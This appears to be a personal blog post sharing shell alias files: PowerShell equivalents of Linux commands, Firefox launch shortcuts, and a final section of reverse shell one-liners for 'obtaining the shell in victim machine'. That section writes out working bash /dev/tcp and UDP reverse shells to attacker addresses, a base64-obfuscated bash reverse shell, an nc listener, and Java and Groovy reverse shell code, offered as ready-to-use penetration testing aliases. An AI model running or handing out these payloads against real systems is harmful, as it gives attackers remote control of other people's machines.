BLOG

Alias Files that are useful as daily drivers

Hi Folks,

I have created some alias files that are useful in day to day life

If you have a sound knowledge in terminal as linux admin and looking for the same on windows, the windows alias file is helpful. It is useful for both Administrators and Penetration Testers.

cd ~

wget https://raw.githubusercontent.com/godishala/Aliases/main/zshrc_win_alias

source ~/zshrc_win_alias

To find all the aliases

# After alias file is sourced, run this commands
winall

powerall

$ powerps
 Get-Process

Eg:
 get-process -name "powershell*"
 get-process "powershell*"
 Get-Process -Name powershell_ise | Select_Object -Property "*"
 Get-Process -Name powershell_ise | Select_Object Name,ID,VM,Modules
 Get-Process -Name powershell_ise | Select-Object -ExpandProperty Modules | Select-Object Filename -->listing all the modules with directories
 get-process *> file.txt --> the data stored in file.txt is not text its all about objects
 get-process | where {$_.name -like "*ware*"

$ powerls
 Get-ChildItem
 dir
 ls

$ powerpwd
 Get-Location
 gl


$ powercd
 Set-Location
 sl
 cd
 chdir

$ powersystemctl
 Get-Service
 And other Cmdlets include:
 Set-Service
 Start-Service
 Stop-Service
 Suspend-Service
 Resume-Service
 Restart-Service
 New-Service
 New-Service

Sometimes we like to search something to know more about it or to find what actually is it.Then we need to open the browser by moving mouse.As we are lazy ,can use this firefox aliases to make the tasks easier

cd ~

wget https://raw.githubusercontent.com/godishala/Aliases/main/zshrc_firefox

source ~/zshrc_firefox

# Opens `github.com` in Firefox main window

$ ffox github.com 

# Opens `github.com` in Firefox private window

$ ffoxp github.com

# Search `impacket` in Firefox main window

$ ffoxs "impacket"

# Search `impacket` in Firefox private window

$ ffoxsp "impacket"

# Open New private Window

$ ffoxpw

# Open New Window

$ ffoxw

Commonly used reverse shell aliases which are used to obtain the shell in victim machine

cd ~

wget https://raw.githubusercontent.com/godishala/Aliases/main/zshrc_pen_rev

source ~/zshrc_pen_rev

To find all the Reverse shell aliases


$ penrev

$ penrevbash

 TCP
 bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
 0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
 /bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1
 bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
 echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null

 UDP
 sh -i >& /dev/udp/10.0.0.1/4242 0>&1 --> victim
 nc -u -lvp 4242 -->attacker



$ penrevjava

Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do $line 2>&5 >&5; done'");
p.waitFor();



$ penrevgroovy

String host="10.0.0.1";
int port=4242;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

And

To be Added……!!!